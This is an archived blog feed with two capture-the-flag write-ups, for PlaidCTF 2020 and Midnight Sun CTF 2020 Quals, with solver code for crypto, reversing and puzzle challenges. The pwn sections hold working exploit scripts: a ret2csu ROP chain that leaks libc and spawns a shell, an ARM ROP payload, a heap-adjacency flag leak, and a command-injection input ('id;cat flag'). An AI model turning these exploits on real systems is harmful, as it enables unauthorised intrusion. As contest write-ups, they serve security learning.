mcfx's blog - 2020年4月

mcfx's blog - 2020年4月个人博客，（曾经）基本只放题解，现在随便写点啥了吧（ 2020-04-29T05:39:18+08:00 Typecho /feed/atom/2020/04/ <![CDATA[PlaidCTF 2020 Writeup]]> /archives/283/ 2020-04-29T05:39:18+08:00 2020-04-29T05:39:18+08:00 admin

# Crypto
## stegasaurus scratch
Given a c file, which calls lua, and we need to finish two tasks.
In the first one, we need to construct an injective map between 8 distinct numbers from 0 to 39999, and 7 distinct numbers with their permutation. Note that C(40000,8)/C(40000,7) is about 5000, which is less than 7!, thus it’s possible. We may delete the number which is k-th smallest, where k is the total sum of 8 numbers modulo 8. For any 7-number tuples, there exists about 5000(more precisely, less than 5008) other numbers, such that it will be deleted. We can find the rank of the actual one in them, and encode it into a permutation.
In the second task, Alice is given an array of length 96, consists of 32 `2`s and 64 `1`s, she needs to mark 32 of the `1`s to `0`. Bob is given the remaining array, but he only knows whether a number is `0`. He needs to find all “2”s. In fact, the task needs a bijective map from C(96,32) to C(96,32), but each pair don’t have common elements. We may split the sequence into blocks of length 2, if some block is 01 or 10, just flip it. Otherwise, we obtain a new sequence with `11` and `00`, thus it’s the same as the original problem, and we can recursively solve it.
```lua
function nthperm(n)
	s={}
	t=1
	for i=1,7,1 do
		a=n//t
		t=t*i
		b=a//i
		c=a-i*b
		s[i]=c+1
	end
	for i=1,7,1 do
		for j=1,i-1,1 do
			if s[j]>=s[i] then
				s[j]=s[j]+1
			end
		end
	end
	return s
end

function permrank(s)
	s=table.shallow_copy(s)
	n=0
	t=1
	for i=7,1,-1 do
		for j=1,i-1,1 do
			if s[j]>s[i] then
				s[j]=s[j]-1
			end
		end
	end
	for i=1,7,1 do
		n=n+(s[i]-1)*t
		t=t*i
	end
	return n
end

function getdel(s)
	sum=0
	for i=1,8,1 do
		sum=sum+s[i]
	end
	return s[sum-(sum//8)*8+1]
end
function table.shallow_copy(t)
	local res={}
	for k=1,#t,1 do
		res[k]=t[k]
	end
	return res
end
function count(l,r,r2,v)
	if(r>r2)then
		r=r2
	end
	if(l>r)then
		return 0
	end
	lt=l//8
	rt=r//8
	if(lt==rt)then
		if(l<=lt*8+v and lt*8+v<=r)then
			return 1
		end
		return 0
	end
	res=rt-lt-1
	if(l<=lt*8+v)then
		res=res+1
	end
	if(rt*8+v<=r)then
		res=res+1
	end
	return res
end
function modt(x)
	if(x<0)then
		return x+8
	end
	return x
end
function countus(s,x)
	sum=0
	for i=1,7,1 do
		sum=sum+s[i]
	end
	sum=sum-(sum//8)*8
	res=count(0,s[1]-1,x,modt(-sum))
	for i=1,6,1 do
		res=res+count(s[i]+1,s[i+1]-1,x,modt(i-sum))
	end
	res=res+count(s[7]+1,39999,x,modt(7-sum))
	return res
end
function kthus(s,k)
	l=-1
	r=39999
	while l+1<r do
		mid=(l+r)//2
		if(countus(s,mid)>=k)then
			r=mid
		else
			l=mid
		end
	end
	return r
end
function Alice1(s)
	table.sort(s)
	x=getdel(s)
	local res={}
	for i=1,8,1 do
		if(s[i]~=x)then
			table.insert(res,s[i])
		end
	end
	c=countus(res,x)
	rv=nthperm(c)
	resn={}
	for i=1,7,1 do
		resn[i]=res[rv[i]]
	end
	return resn
end
function Bob1(s)
	res=table.shallow_copy(s)
	table.sort(s)
	rv={}
	for i=1,7,1 do
		for j=1,7,1 do
			if res[i]==s[j] then
				rv[i]=j
			end
		end
	end
	c=permrank(rv)
	t=kthus(s,c)
	return t
end
function getothseq(s)
	if(#s==1)then
		return s
	end
	if(#s-(#s//2)*2==1)then
		tmp=table.shallow_copy(s)
		table.remove(tmp)
		tmp=getothseq(tmp)
		table.insert(tmp,0)
		return tmp
	end
	tmp={}
	for i=1,#s-1,2 do
		if(s[i]==s[i+1])then
			table.insert(tmp,s[i])
		end
	end
	tmp=getothseq(tmp)
	c=0
	res={}
	for i=1,#s-1,2 do
		if(s[i]==s[i+1])then
			c=c+1
			table.insert(res,tmp[c])
			table.insert(res,tmp[c])
		else
			table.insert(res,s[i+1])
			table.insert(res,s[i])
		end
	end
	return res
end
function Alice2(s)
	tmp={}
	for i=1,96,1 do
		table.insert(tmp,s[i]-1)
	end
	v=getothseq(tmp)
	res={}
	for i=1,96,1 do
		if(s[i]==1 and v[i]==1) then
			table.insert(res,i)
		end
	end
	return res
end
function Bob2(s)
	tmp={}
	for i=1,96,1 do
		table.insert(tmp,1-s[i])
	end
	v=getothseq(tmp)
	res={}
	for i=1,96,1 do
		if(s[i]==1 and v[i]==1) then
			table.insert(res,i)
		end
	end
	return res
end
```

# Reverse
## The Watness 2
Run the game with HyperZebra, we find that it checks the solution with some external function, if all three levels are passed, it will output flag using the solution and some built-in keys.
The checking part is like a cellular automaton, and we can find the solution by bfs. Finally, just play the game with these paths, and we can see the flag.
```python
s='rrbrb rg g  bgrbgggr ggrgr gr rg brr  b  bggrbgbb'
t={' ':0,'r':1,'g':2,'b':3}
v=' rgb'
s=[list(s[i:i+7])for i in range(0,49,7)]
for i in range(7):
	for j in range(7):
		s[i][j]=t[s[i][j]]

def get(x,y):
	if x<0 or x>6 or y<0 or y>6:
		return 0
	return s[x][y]

def get_neighbors(x,y):
	c=[0]*4
	for i in range(-1,2):
		for j in range(-1,2):
			if i or j:
				c[get(x+i,y+j)]+=1
	return c[1],c[2],c[3]

def nxt(s):
	r=[[0]*7 for i in range(7)]
	for i in range(7):
		for j in range(7):
			c1,c2,c3=get_neighbors(i,j)
			arg4,arg2,arg0=c1,c2,c3
			if s[i][j]==0:
				if arg2==0 and arg0==0:
					arg6=0
				elif arg0<arg2:
					arg6=2
				else:
					arg6=3
			elif s[i][j]==1:
				if arg4!=2 and arg4!=3:
					arg6=0
				elif arg0==0 or arg2==0:
					arg6=0
				else:
					arg6=1
			elif s[i][j]==2:
				if arg4>4:
					arg6=0
				elif arg0>4:
					arg6=3
				elif arg4==2 or arg4==3:
					arg6=1
				else:
					arg6=2
			else:
				assert s[i][j]==3
				if arg4>4:
					arg6=0
				elif arg2>4:
					arg6=2
				elif arg4==2 or arg4==3:
					arg6=1
				else:
					arg6=3
			r[i][j]=arg6
	return r

def ok_red(x1,y1,x2,y2):
	if x1<0 or x1>7 or y1<0 or y1>7:
		return 0
	if x2<0 or x2>7 or y2<0 or y2>7:
		return 0
	if x1==x2:
		if y1>y2:y1=y2
		return get(x1,y1)==1 or get(x1-1,y1)==1
	assert y1==y2
	if x1>x2:x1=x2
	return get(x1,y1)==1 or get(x1,y1-1)==1

pos=[(0,0,'','(0,0)')]
for i in range(50):
	npos=set()
	for x,y,path,his in pos:
		for nx,ny,d in [(x-1,y,'u'),(x+1,y,'d'),(x,y-1,'l'),(x,y+1,'r')]:
			if ok_red(x,y,nx,ny):
				np=path+d
				if '(%d,%d)'%(nx,ny) in his:
					continue
				npos.add((nx,ny,np,his+'(%d,%d)'%(nx,ny)))
	pos=npos
	for x,y,path,his in pos:
		if x==7 and y==7:
			print(len(path),path)
	s=nxt(s)
```

## A Plaid Puzzle
It contains a big matrix, elements fall down, change according to the characters of the flag, and interact with each other. In fact, each line of the puzzle is independent. The last element will “eat” every element in front of it, and finally check if it’s equal to some constant. There are 64 different statuses in this process, and in fact it’s just xor (but shuffled). So we can find some relations about the xor, and find the flag by gauss elimination.
```python

raw=open('code.txt','r',encoding='utf-8').readlines()

cmap={}
for i in range(1139,1267):
	a,b=raw[i].strip().split(' = ')
	cmap[a]=b

cmap['C']='fljldviokmmfmqzd'
cmap['F']='iawjsmjfczakueqy'
cmap['.']='.'
cmap['X']='X'

rule1s=[]
rule1={}
rule1x={}
for i in range(64):
	rule1['char'+str(i)]={}

for i in range(1427,5523):
	t=raw[i].strip()
	a,b=t[:-6].split(' -> ')
	ax,ay=a[2:-2].split(' | ')
	bx,by=b[2:-2].split(' | ')
	rule1s.append((ay,ax,bx))
	rule1[ay][ax]=bx
	if ax not in rule1x:
		rule1x[ax]={}
	rule1x[ax][bx]=ay

rule2s=[]
rule2={}
rule2x={}

for i in range(5523,9619):
	t=raw[i].strip()
	a,c=t[8:-10].split(' ] -> [ ')
	a,b=a.split(' | ')
	rule2s.append((a,b,c))
	if a not in rule2:
		rule2[a]={}
	rule2[a][b]=c
	if c not in rule2x:
		rule2x[c]={}
	rule2x[c][a]=b

rule3s=[]
rule3={}

for i in range(9619,9747):
	t=raw[i].strip()
	a,c=t[2:-10].split(' ] -> [ ')
	a,b=a.split(' | ')
	rule3s.append((a,b,c))
	if a not in rule3:
		rule3[a]={}
	rule3[a][b]=c

board=[]
for i in range(9760,9806):
	t=list(raw[i].strip())
	for j in range(len(t)):
		t[j]=cmap[t[j]]
	board.append(t)

board.append(['']*47)
board.append(['X']+['char63']*45+['X'])

charmap=list(map(chr,range(65,65+26)))+list(map(chr,range(97,97+26)))+list(map(chr,range(48,48+10)))+['{','}']

req='kkavwvmbabfuqctz'

slist=[]
for x in rule2x[req]:
	slist.append(rule2x[req][x])

sid={}
for i in range(64):
	sid[slist[i]]=i

tbl=[[0]*64 for i in range(64)]
for tr in slist:
	for op1 in range(64):
		t=board[1][2]
		v=rule1['char'+str(op1)][t]
		nxt=rule2x[tr][v]
		tbl[sid[tr]][op1]=sid[nxt]

t=[]
u=0
cur=set([u])
while True:
	x=0
	while x<64 and tbl[u][x] in cur:
		x+=1
	if x==64:
		break
	t.append(x)
	for i in cur.copy():
		cur.add(tbl[i][x])
	curu=[]
	for i in range(64):
		if tbl[u][i] in cur:
			curu.append(i)
sr=[]
for i in range(64):
	v=u
	for j in range(6):
		if i>>j&1:
			v=tbl[v][t[j]]
	for j in range(64):
		if tbl[u][j]==v:
			sr.append(j)
sl=[]
for i in range(64):
	sl.append(tbl[u][sr[i]])

slrev=[0]*64
for i in range(64):
	slrev[sl[i]]=i

eq=[]

for X in range(45,0,-1):
	cur=[]
	xor_const=slrev[sid[req]]^slrev[sid[board[X][46]]]
	for Y in range(1,46):
		t=board[X][Y]
		tmp=[0]*6
		for i in range(6):
			k=sr[1<<i]
			v=rule1['char'+str(k)][t]
			tmp[i]=slrev[sid[rule2x[slist[sl[0]]][v]]]
		cur+=tmp
	for i in range(6):
		t=[]
		for j in cur:
			t.append(j>>i&1)
		t.append(xor_const>>i&1)
		eq.append(t)

s=eq
n=len(s)
m=len(s[0])
c=0

for i in range(m-1):
	if not s[c][i]:
		t=c+1
		while t<n and not s[t][i]:
			t+=1
		s[c],s[t]=s[t],s[c]
	for j in range(n):
		if j!=c and s[j][i]:
			for k in range(m):
				s[j][k]^=s[c][k]
	c+=1
for i in range(0,45*6,6):
	t=sum(s[i+j][m-1]<<j for j in range(6))
	print(charmap[sr[t]],end='')
print()
```

]]> <![CDATA[Midnight Sun CTF 2020 Quals Writeup]]> /archives/281/ 2020-04-05T01:30:00+08:00 2020-04-05T01:30:00+08:00 admin

# pwn
## admpanel
Run `id;cat flag`.

## Pwny racing - pwn1
ret2csu. See https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/ (English: https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop/ ) for more information.

```python
from pwn import *
from time import sleep

p=ELF('./pwn1')
main_addr=0x400698
main_end_addr=0x40070b
csu_end_addr=0x40077a
csu_front_addr=0x400760
fakeebp = b'b' * 8
bss_base = 0x602040 # not real bss_base, since stdin and stdout are at the real one

libc=ELF('./libc.so')

r=remote('pwn1-01.play.midnightsunctf.se',10001)

def csu(rbx, rbp, r12, r13, r14, r15, last):
	# pop rbx,rbp,r12,r13,r14,r15
	# rbx should be 0
	# rbp should be 1, disable jump
	# r12 should be the function we want to call
	# rdi=edi=r13 <- different from ctf-wiki
	# rsi=r14
	# rdx=r15
	payload = b'a' * 0x40 + fakeebp
	payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
	payload += p64(csu_front_addr)
	payload += b'a' * 0x38
	payload += p64(last)
	r.send(payload+b'\n')
	sleep(1)

r.recvuntil('buffer: ')
csu(0, 1, p.got['puts'], p.got['puts'], 0, 0, main_addr) # leak puts addr
puts_addr=int.from_bytes(r.recv(6),'little')
libc_addr=puts_addr-libc.symbols['puts']

r.recvuntil('buffer: ')
csu(0, 1, p.got['gets'], bss_base, 0, 0, main_addr)
r.send(b'/bin/sh\0\n')

r.recvuntil('buffer: ')
csu(0, 1, p.got['gets'], bss_base + 8, 0, 0, main_addr)
r.send(p64(libc_addr+libc.symbols['execve'])[:7]+b'\n') # gets will fill the last \0

r.recvuntil('buffer: ')
csu(0, 1, bss_base + 8, bss_base, 0, 0, main_addr)

r.interactive()
```

## Pwny racing - pwn3
ARM rop. I used ROPgadget to find gadgets. Note that libc is in thumb mode, so we need to add 1 to its address to switch to thumb mode.

```python
from pwn import *

r=remote('pwn3-01.play.midnightsunctf.se',10003)

exp=b'0'*4*35
exp+=p32(0x1fb5c)
exp+=p32(0x49018)
exp+=p32(0)
exp+=p32(0x14b5c+1) # switch to thumb

r.send(exp+b'\n')

r.interactive()
```

# forensics
## masterpiece
Get snes9x, find `Mario Paint (Japan, USA).sfc` from some websites.

I expected it to run, however, it stuck. I took a normal snapshot, and replace the header of given file. Then it successfully ran, and flag was shown.

# rev
## avr-rev
Main function is at sub_319. It reads a string, and decode it as some JSON-like data. Decode function is at sub_137. Then the decoded data is printed, along with a mystery number. This number seems calculated in sub_2D5.

For most objects, the number is 0. For `{xx:xx}`, the number is 1. For `{number:xx}`, the number is 2. For `{1337:string}`, the number is various.

In this case, the string is compared with flag, where flag is given in sub_884, in some strange way. When a character is different from flag, the result will be `(string[i]-flag[i])%256`. Thus we can find the flag byte by byte.

However, the string is at most 32 bytes, thus it only contains the first flag (for avr-rev).

### Bonus
After the CTF, we find the solution to avr-pwn. Send the following two strings, and they are connected into a big string. (`0123456789` is just a various padding)

```
{1:1,1337:"0123456789..."}
{1337:"...(32 bytes)"}
```

This is because the program malloc some new memory each time, and they are adjacent. Here's the script to find guess each byte.

```python
from pwn import *

r=remote('avr-01.play.midnightsunctf.se',1337)

def getnxt(s):
	t=s[:32]
	s=s[32:]
	v=[]
	while len(s):
		v.append(s[:22])
		s=s[22:]
	CHR='*'
	if len(v[-1])==22:
		v.append(CHR)
	else:
		v[-1]+=CHR
	for i in range(len(v)-1,-1,-1):
		r.recvuntil('\n')
		r.send('{'+'1:1,'*(i+1)+'1:"'+' '*10+v[i]+'"}\n')
		r.recvuntil('"}')
		r.recvuntil('\n')
	r.recvuntil('\n')
	r.send('{1337:"'+t+'"}\n')
	r.recvuntil('"}')
	r.recvuntil('\n')
	res=r.recvuntil('\n')
	return chr((ord(CHR)-int(res))%256)

cur='''First: midnight{only31?} But to get the second flag y'''
print(len(cur))
while True:
	cur+=getnxt(cur)
	print(cur)
```

# crypto
## pyBonHash
First use uncompyle6 to decompile the file.

Since each `bytes([data1, data2])` and `bytes([key1, key2])` only have 65536 options, we can enumerate all of them, and match with each other.

```python
import binascii,hashlib
from Crypto.Cipher import AES

s=open('hash.txt').read().strip()
s=binascii.unhexlify(s.encode())
n=len(s)//32
kl=42
key=[-1]*kl

fr={}

for i in range(256):
	for j in range(256):
		tohash = bytes([i,j])
		fr[hashlib.md5(tohash).hexdigest().encode()]=(i,j)

FIBOFFSET = 4919
MAXFIBSIZE = 500 + FIBOFFSET

def fibseq(n):
	out = [0, 1]
	for i in range(2, n):
		out += [out[(i - 1)] + out[(i - 2)]]
	return out
FIB = fibseq(MAXFIBSIZE)

def setkey(x,y):
	if key[x]==-1:
		key[x]=y
	assert key[x]==y

for i in range(n):
	t=s[i*32:i*32+32]
	for k1 in range(256):
		for k2 in range(256):
			thiskey = bytes([k1, k2]) * 16
			cipher = AES.new(thiskey, AES.MODE_ECB)
			v = cipher.decrypt(t)
			if v in fr:
				x,y=fr[v]
				setkey(((i*2 + FIB[(FIBOFFSET + i*2)]) % kl),k1)
				setkey(((i*2+1 + FIB[(FIBOFFSET + i*2+1)]) % kl),k2)
print(bytes(key))
```

## Verifier
Just use option 1 to sign `please_give_me_the_flag`.

## rsa_yay
In this task, we need to factorize `n`, while `hex(p)=hex(q)[::-1]`.

Suppose we know lowest k bits of p, we can find lowest k bits of q. Here we can also find highest k bits of p and q. Let them be $$ph$$ and $$qh$$. We know that $$ph\cdot qh\cdot 2^{1024-2k}\le n<(ph+1)\cdot(qh+1)\cdot 2^{1024-2k}$$, thus we may check whether $$ph$$ and $$qh$$ are (possibly) correct.

```python
from gmpy2 import *
import binascii

n=0x7ef80c5df74e6fecf7031e1f00fbbb74c16dfebe9f6ecd29091d51cac41e30465777f5e3f1f291ea82256a72276db682b539e463a6d9111cf6e2f61e50a9280ca506a0803d2a911914a385ac6079b7c6ec58d6c19248c894e67faddf96a8b88b365f16e7cc4bc6e2b4389fa7555706ab4119199ec20e9928f75393c5dc386c65
cipher=0x3ea5b2827eaabaec8e6e1d62c6bb3338f537e36d5fd94e5258577e3a729e071aa745195c9c3e88cb8b46d29614cb83414ac7bf59574e55c280276ba1645fdcabb7839cdac4d352c5d2637d3a46b5ee3c0dec7d0402404aa13525719292f65a451452328ccbd8a0b3412ab738191c1f3118206b36692b980abe092486edc38488

def reverse_hex(x,n):
	y=0
	for i in range(n):
		y=y*16+x%16
		x//=16
	return y

cur=[]

# Find all cases for lowest 12 bits
for i in range(1,4096,2): # i is lowest 12 bits of p
	t=invert(i,4096)*(n%4096)%4096 # t is lowest 12 bits of q
	assert t*i%4096==n%4096
	t2=reverse_hex(t,3) # t2 is highest 12 bits of q
	i2=reverse_hex(i,3) # i2 is highest 12 bits of p
	l=i2*t2<<(4*125*2)
	r=(i2+1)*(t2+1)<<(4*125*2)
	if l<=n<=r: # check where n is in the range
		cur.append(i)

# Current digit (in hex)
for c in range(4,65):
	nc=[]
	mod=16**c
	for x in cur:
		for y in range(16):
			i=x+y*16**(c-1) # i is lowest 4c bits of p
			t=invert(i,mod)*(n%mod)%mod # t is lowest 4c bits of q
			assert t*i%mod==n%mod
			t2=reverse_hex(t,c) # t2 is highest 4c bits of q
			i2=reverse_hex(i,c) # i2 is highest 4c bits of p
			l=i2*t2<<(4*(128-c)*2)
			r=(i2+1)*(t2+1)<<(4*(128-c)*2)
			if l<=n<=r: # check where n is in the range
				nc.append(i)
	cur=nc

# Find real solution
c=64
mod=16**c
for i in cur:
	t=invert(i,mod)*(n%mod)%mod
	assert t*i%mod==n%mod
	t2=reverse_hex(t,c)
	i2=reverse_hex(i,c)
	p=t2<<256|i
	q=i2<<256|t
	if p*q==n:
		break

e=65537
d=invert(e,(p-1)*(q-1))
o=pow(cipher,d,p*q)
print(binascii.unhexlify(hex(o)[2:]))
```

# guessing
## indian guess
The server guesses my number by binary search. Input `nan` and then it fails.

# misc
## sanity
Just enter irc.

## Snake++
Consider the following strategy: 
```
v<<<<<
v>v>v^
v^v^v^
v^v^v^
>^>^>^
```

Walk on the circle, and shoot if `B` exists. To check if `B` exists, we may just enumerate all locations, and check if `B` is there.

The follwing python code generates required snake++ code.

```python
def getsol(x1,y1,x2,y2,a,b):
	return ' '

r=''

r+='red:=100;\n'
for x in range(1,29):
	for y in range(1,19):
		r+='banana ~<8=== %d %d;\nif banana=="B" then\n\tred:=%d;\n\tgreen:=%d;\nfi;\n'%(x,y,x,y)

def addroute(x,y,v):
	global r
	x+=1;y+=1
	r+='if blue==%d then\n\tif yellow==%d then\n\t\treturn "%s";\n\tfi;\nfi;\n'%(x,y,v)

addroute(1,0,'L')
addroute(27,1,'L')
for i in range(0,28,2):
	addroute(i,16,'L')
	addroute(i,17,'L')
for i in range(1,27,2):
	addroute(i,1,'R')
	addroute(i,2,'R')

r+='''
if red<100 then
	return " ";
fi;
'''

r+='return "";\n'
r+='.\n'
open('test.txt','w').write(r)
```

The following one interacts with the server.

```python
from pwn import *
from base64 import b64decode

context.log_level = 'debug'

r=remote('snakeplusplus-01.play.midnightsunctf.se',55555)

r.recvuntil('Your choice: ')
r.send('2\n')
r.recvuntil('--- Press enter to continue ---')
r.send('\n')
r.recvuntil('--- Press enter to continue ---')
r.send('\n')
r.recvuntil('Enter your program code, and end with a . on a line by itself')

r.send(open('test.txt').read().strip()+'\n')

r.recvuntil('--- Press enter to start ---')
r.send('\n')
r.recvuntil('Result: ')
open('t.zip','wb').write(b64decode(r.recvuntil('\n').strip()))

```

]]>